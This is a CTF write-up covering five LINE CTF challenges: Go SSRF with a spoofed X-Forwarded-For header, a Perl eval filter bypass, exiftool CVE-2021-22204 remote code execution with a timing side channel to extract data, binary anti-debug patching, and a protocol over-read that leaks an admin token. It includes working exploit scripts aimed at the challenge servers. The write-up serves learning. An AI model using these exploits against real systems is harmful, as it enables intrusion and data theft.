Web

baby-simple-gocurl

The challenge consists of a web page that makes requests for us.

There are two endpoints that tickle our interest:

  • /curl/: makes a HTTP request for us and returns the body and the status code;
  • /flag/: retrieves the flag if the requested IP is localhost.

The request made using the endpoint /curl/ checks whether the requesting IP is 127.0.0.1, the URL constains the words flag or curl (to prevent chains of requests), and disallow redirects by defining a redirectChecker function.

There’s a trivial logical issue with the way the check is done. The following code contains the mistake:

if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) { // CANNOT HAVE flag, curl or %
    c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
    return
}

The condition implies that if the client IP is 127.0.0.1 it is not necessary to check whether the URL contains one of the blocked words. (Notice the && operator!)

After examining the documentation of the go-gin function clientIP function, we notice that it does the best to return the real IP of the client. In doing so, it considers the presence of one or more proxies and parses the corrisponding headers.

We can create a request that utilizes one of those headers (e.g., X-Forwarded-For) to deceive the server into thinking that the packet is from localhost.

In the end, we’re able to retrieve the flag with the following request:

GET /curl/?url=http://127.0.0.1:8080/flag/&header_key=&header_value= HTTP/1.1
Host: <server ip>:<server port>
X-Forwarded-For: 127.0.0.1
Connection: close

oldpal

This challenge featured a web page with a Perl backend that would get a parameter password, perform some checks against it, and if it were the correct one, the server would echo out the flag.

The final check we need to pass to get the flag is the following:

if (eval("$pw == 20230325")) {
    print "Congrats! Flag is LINECTF{redacted}"
} else {
    print "wrong password :(";
    die();
};

Clearly, the password should be a string that evaluates to the number “20230325” (or something else that lets us execute some code inside the eval to read the flag anyway!).

The password would get checked by different regular expression filters. Let’s go through them one by one:

if (length($pw) >= 20) {
    print "Too long :(";
    die();
}

This filter obviously checks the length of the password.

if ($pw =~ /[^0-9a-zA-Z_-]/) {
    print "Illegal character :("
    die();
}

This filter allows the password to be comprised only of alphanumerical characters, “_”, and “-”.

if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) {
    print "Weak password :(";
    die();
}

This filter forces us to use at least a number, a letter, and both “_” and “-” in the password.

if ($pw =~ /[0-9_-][boxe]/i) {
    print "Do not punch me :(";
    die();
}

This filter prevents us from using hexadecimal (0x prefix), binary (0b prefix), octal (0o prefix) integer literals, in addition to numbers in scientific notation (of the form <N>e<E>).

if ($pw =~ /AUTOLOAD|BEGIN|CHECK|DESTROY|END|INIT|UNITCHECK|abs|accept|alarm|atan2|bind|binmode|bless|break|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|
connect|cos|crypt|dbmclose|dbmopen|defined|delete|die|dump|each|endgrent|endhostent|endnetent|endprotoent|endpwent|endservent|eof|eval|exec|exists|exit|fcntl|fileno|flock
|fork|format|formline|getc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getp
riority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|ind
ex|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|not|oct|open|opendir|ord|our|pack|p
ipe|pop|pos|print|printf|prototype|push|quotemeta|rand|read|readdir|readline|readlink|readpipe|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|sa
y|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shm
read|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|state|study|substr|symlink|syscall|sysopen|sysread|sysseek|system|syswrite|te
ll|telldir|tie|tied|time|times|truncate|uc|ucfirst|umask|undef|unlink|unpack|unshift|untie|use|utime|values|vec|wait|waitpid|wantarray|warn|write/) {
    print "I know eval injection :(";
    die();
}

This filter prevents us from using names of functions that can be used to trigger abitrary code execution inside the eval().

if ($pw =~ /[Mx. squ1ffy]/i) {
    print "You may have had one too many Old Pal :(";
    die();
}

This filter prevents us from using certain characters, including ..

The important thing to note is that we can (must, in fact) use “-” in the password: we can use this to perform a subtraction. The other character we must use is “_”. I don’t know Perl, but this reminded me of the special variables/methods in Python like __init__, __main__ and so on. A quick Google search informed me that, in fact, there are similar special variables also in Perl! In particular, we can use the __LINE__ variable, which gets evaluated to the number of the line of code that is currently being executed (inside an eval it evaluates to 1).

This allows us to call the server with a password that passess all the checks and evaluates to the desired value: 20230326-__LINE__. Sending a request with this string as the password parameter gives us the flag: LINECTF{3e05d493c941cfe0dd81b70dbf2d972b}.

Imagexif

This challenge featured a simple web server written in flask that uses exiftool to provide information about an uploaded image. Jinja2 is used to serve HTML pages, but no SSTI there for today. Instead, after poking and reading the code for a while we noticed something in the Dockerfile:

FROM python:3.11.2

RUN apt-get update

RUN apt-get install -y curl wget && \
    DEBIAN_FRONTEND="noninteractive"         && \
    echo done

RUN wget https://github.com/exiftool/exiftool/archive/refs/tags/12.22.tar.gz && \
    tar xvf 12.22.tar.gz && \
    cp -fr /exiftool-12.22/* /usr/bin && \
    rm -rf /exiftool-12.22 && \
    rm 12.22.tar.gz

ADD ./src /src/
ADD ./conf /conf/

WORKDIR /src

COPY uwsgi.ini .

RUN addgroup --gid 1000 appuser && \
    useradd --uid 1000 --gid 1000 -r -s /bin/false appuser

RUN find /src -type d -exec chmod 755 {} + && \
    find /src -type f -exec chmod 644 {} + && \
    find /src -type f -exec chattr +i {} \; && \
    find /src/tmp -type d -exec chmod 777 {} + && \
    find /src/*.sh -exec chmod +x {} \;

RUN apt-get install -y tzdata && \
    cp /usr/share/zoneinfo/Asia/Tokyo /etc/localtime && \
    echo "Asia/Tokyo" > /etc/timezone

RUN python3.11 -m pip install -r requirements.txt
RUN python3.11 -m pip install uwsgi
RUN apt-get purge -y curl wget

RUN ln -sf /bin/bash /bin/sh

CMD ["uwsgi", "uwsgi.ini"]

RUN chmod o-x /usr/local/bin/python3.11 && \
    rm /usr/lib/x86_64-linux-gnu/perl-base/socket.pm

The Dockerfile downloads a slightly outdated version of exiftool. From other CTFs, we knew that exiftool had some problems in the past, so we looked around for CVEs related to this version. With little surprise, we found that this version is vulnerable to CVE-2021-22204, allowing a quite simple RCE. After quickly getting an PoC exploit from this repo, we got the flag… or so we thought.

There is a catch: the backend container is completely isolated from external networks, so no reverse shell, curl, or even DNS exfiltration here! We decided to use a side-channel: time (e.g. sleep). Fairly enough, we can find a utility script already on the backend that allows to convert a character to its ASCII (decimal) representation. We also knew that flag letters only included hexadecimal digits, making it easier to optimize the side-channel. The following is the script used to extract the flag with success. Notice that we could not use some characters (e.g. parenthesis), making the scripting part a little more frustrating. The final script is fairly fast and reliable:

#!/usr/bin/env python

import os
import requests
import time

flag = "LINECTF{"
##       LINECTF{2a38211e3b4da95326f5ab593d0af0e9}
i = len(flag)
while True:
    print(flag)

    ## This command will:
    ##  - save into X the ascii value of the i-th character of the flag
    ##  - sleep for $X - 87 seconds, which may mean not sleeping (if character is in 0-9),
    ##    where 87 is ord('a') - 10, so that characters in a-f will cause a sleep from 10 to 16 seconds
    ##  - if previous sleep failed, sleep for $X - 48 seconds, where 48 is ord('0'), meaning that
    ##    we will sleep from 0 to 9 seconds for characters in 0-9
    #
    ## TL;DR;
    ##  - 0 <= sleep < 10 -> 0-9
    ##  - 10 <= sleep <= 15 -> a-f
    cmd = (
        "X=`/src/ascii.sh ${FLAG:%d:1}`; sleep `expr $X - 87` || sleep `expr $X - 48`"
        % i
    )
    print(cmd)

    ## Craft the image using a CVE PoC found online
    ## Download the exploit from here, or do it by hand
    ## https://github.com/UNICORDev/exploit-CVE-2021-22204
    os.system(f"python ./cve-2021-22204.py -c '{cmd}'")

    ## Send a request computing the time. We will use time to exfiltrate a single character
    ## of the flag at a time
    start = time.time()
    r = requests.post(
        "http://34.85.58.100:11008/upload", files={"file": open("./image.jpg", "rb")}
    )
    end = time.time()
    elapsed = end - start

    ## Check if we got a match with one of our expected characters.
    ## It may happen that this script fails (finds the wrong letter) due to network latency,
    ## but it did not happen in practice
    print(f"Elapsed: {elapsed}")
    try:
        char = "0123456789abcdef"[int(elapsed)]
        print(f"Found: {char}")
        if char in "1234567890abcdef}":
            flag += char
    except:
        flag += "?"
        print("Rejected!")
    i += 1

Reversing

Fishing

Watching the executable with Ghidra we can see that it has some anti-disassemble techniques that prevent Ghidra to fully disassemble some functions so when we find them we can just manually tell ghidra to disassemble them again by pressing D on the starting address and then F.

We can also see that the executable gives an error message when using a debugger which can be bypassed patching the file.

14001b49 74 52           JZ        LAB_140001b9d
to
140001b49 75 52           JNZ        LAB_140001b9d

140001c7a 75 0a           JNZ         LAB_140001c86
to
140001c7a 74 0a           JZ         LAB_140001c86


140001c84 74 52           JZ        LAB_140001cd8
to
140001c84 75 52           JNZ        LAB_140001cd8

Those are not the only things the program does to prevent it being reversed in fact it also uses DR0 to DR3 registers to alter the execution of some functions when debugging but with our solution we can ignore them!

The program after asking and receiving for our input starts a thread where it does some data manipulations and then compares a constant array with an array the program generates with our input. The generated array is kind of created like this:

//something_1 and something_2 are different for every i
//but even with different inputs they are sequentially the same!
for (i = 0; i < arrayLen; i = i + 1) {
    ...
    //something_1 and something_2 manipulations

    generatedArray[i] = manipulatedInput[i] ^ something_1 ^ something_2
}

By running the program in x64dbg we can easily find in memory how our generatedArray and manipulated input look so the things we have are:

  • our input
  • our manipulated input
  • the encrypted flag
  • the array we can generate So, with some math:
we have
encryptedFlag = manipulatedFlag ^ something_1 ^ something_2
generatedFlag = manipulatedInput ^ something_1 ^ something_2

so we can do
encryptedFlag ^ generatedFlag = manipulatedFlag ^ manipulatedInput

and then xor away the manipulatedInput to remain with the manipulatedFlag

Once we have the manipulatedFlag we can just map our input chars to their manipulated version and then just map the manipulatedFlag chars to their right chars (I forgot to mention that characters are manipulated character-wise and not string-wise so that the same character is mapped to the same value).

We need to input a string as long as the array we need to generate which has length 0x29 (41). Since the format of flags is LINECTF{[0-9a-f]{32}} our input can be something like 1234567890abcdef1234567890abcdef123456789 and in memory we get:

manipulated input:
5E 76 6E 86 7E 96 8E A6 9E 66 E0 F8 F0 08 00 18
5E 76 6E 86 7E 96 8E A6 9E 66 E0 F8 F0 08 00 18
5E 76 6E 86 7E 96 8E A6 9E 00 00 00 00 00 00 00

array we need to generate
D0 BE 9F 5A BD F0 34 B5 D0 6F FB E2 99 BA AE D7
36 D5 2D C2 22 45 B0 03 9D 63 66 53 C7 28 CC 2A
2B 14 BB 09 9B E3 60 46 3A 00 00 00 00 00 00 00

array generated from our input
C7 E9 A8 DD 32 EF A3 A3 4E 7F 65 64 99 BA 4E B9
16 BB 1D A4 FA 33 A8 CB 85 FD E8 F5 B1 5E 6A 3A
03 62 25 09 83 0B 16 76 64 00 AB AB AB AB AB AB

Then we can just script the solution! (since I knew the first 9 letters would be LINECTF{ and the last one would be } I skipped those bytes and shifted the alphabet I used) (yes I am very lazy).

manipulatedInput = [
    0x9E, 0x66, 0xE0, 0xF8, 0xF0, 0x08, 0x00, 0x18,
    0x5E, 0x76, 0x6E, 0x86, 0x7E, 0x96, 0x8E, 0xA6
    ]

encFlag = [
    0xD0, 0x6F, 0xFB, 0xE2, 0x99, 0xBA, 0xAE, 0xD7,
    0x36, 0xD5, 0x2D, 0xC2, 0x22, 0x45, 0xB0, 0x03,
    0x9D, 0x63, 0x66, 0x53, 0xC7, 0x28, 0xCC, 0x2A,
    0x2B, 0x14, 0xBB, 0x09, 0x9B, 0xE3, 0x60, 0x46
    ]

encInput = [
    0x4E, 0x7F, 0x65, 0x64, 0x99, 0xBA, 0x4E, 0xB9,
    0x16, 0xBB, 0x1D, 0xA4, 0xFA, 0x33, 0xA8, 0xCB,
    0x85, 0xFD, 0xE8, 0xF5, 0xB1, 0x5E, 0x6A, 0x3A,
    0x03, 0x62, 0x25, 0x09, 0x83, 0x0B, 0x16, 0x76
    ]
alphabet = '90abcdef12345678'

print("LINECTF{", end="")
for i in range(len(encFlag)):
	manipulatedFlag = encFlag[i] ^ encInput[i] ^ manipulatedInput[i%16]
	flag = alphabet[manipulatedInput.index(manipulatedFlag)]
	print(flag, end="")

print("}")

Pwn

Simple blogger

This was the simpler pwnable of the CTF (and the only we solved 😢). It featured a client-server application based on a custom protocol, with the aim of allowing an authenticated admin to store and read messages.

We can execute the provided client to get an idea of what the server offers by looking at its menu:

Welcome to a simple blogger!!!

Commands (type a number):
[1] Print this `help` message.
[2] Show the banner.
[3] Ping.
[4] Login.
[5] Logout.
[6] Read a message.
[7] Write a message.
[8] Flag.
[9] Exit program.

CONSOLE>

The first two commands are just client-side utilities, but the others correspond to commands on the server.

Figuring out the protocol

We started by reverse engineering the protocol that the server and client were running. To do it, we used a mix of mostly Ghidra and a little bit of Wireshark (to confirm some intuitions). After a while, we figured the following format:

0               8
+---------------+
|    version    |
+---------------+
|    command    |
+---------------+
|   auth token  |
|               |
+---------------+
|  payload len  |
|  (big endian) |
+---------------+
|               |
|               |
|               |
|               |
|    payload    |
|  (1024 bytes) |
|               |
|               |
|               |
|               |
|               |
+---------------+

Version was always equal to byte 01, and commands were given as bytes ranging from 01 to 06 (in the same order as in the client’s menu). It took a while to reverse it all as the server was using a custom calling convention (basically passing the payload length and payload through the stack).

Finding the vulnerability

After reversing every server function, we were stuck for a bit trying to find a vulnerability. Every single function but ping was locked under authentication, as we were out of credentials. After playing with it for a while, we tried to simply send a ping message (the only one we are authorized to send), but sending a bigger payload length than the real one. The answer from the server actually included a lot more data than only the expected PONG response!

Looking at Ghidra provided the reason. Note that, when copying on the msg->data (the response message) the response data (PONG) it uses msg->len, which is set to the payload length sent by us.

This allows us to read some of the stack of the program! If we look really closely, we can also notice something else: to implement the admin cleanup function, a token is needed. However, the token is taken from our request, but it is taken from the database and it is saved on the stack. Due to the stack layout, right after the PONG response there is the admin token that we need to read the flag.

We can finally get the flag with the following script:

#!/usr/bin/env python3

from pwn import *

HOST = "34.146.54.86"
PORT = 10007

exe = ELF("./server_patched")

context.binary = exe
context.log_level = "debug"
context.terminal = ["kitty"]
io = None


def conn(*a, **kw):
    if args.LOCAL:
        return process([exe.path], env={"LD_LIBRARY_PATH": "."}, **kw)
    elif args.GDB:
        return gdb.debug([exe.path], env={"LD_LIBRARY_PATH": "."}, gdbscript="", **kw)
    else:
        return remote(HOST, PORT, **kw)


def msg(command, length, data, session=b"\x00" * 16, version=1):
    assert len(session) == 16
    return p8(version) + p8(command) + session + p16(length, endian="big") + data


def main():
    global io
    io = conn(level="debug")

    ## good luck pwning :)
    data = b"PING"
    io.send(msg(1, 0x400, data))  ## ping with fake payload length
    io.recv(8)
    token = io.recv(16)

    io.send(msg(6, 0, b"", session=token))  ## get flag

    io.interactive()


if __name__ == "__main__":
    main()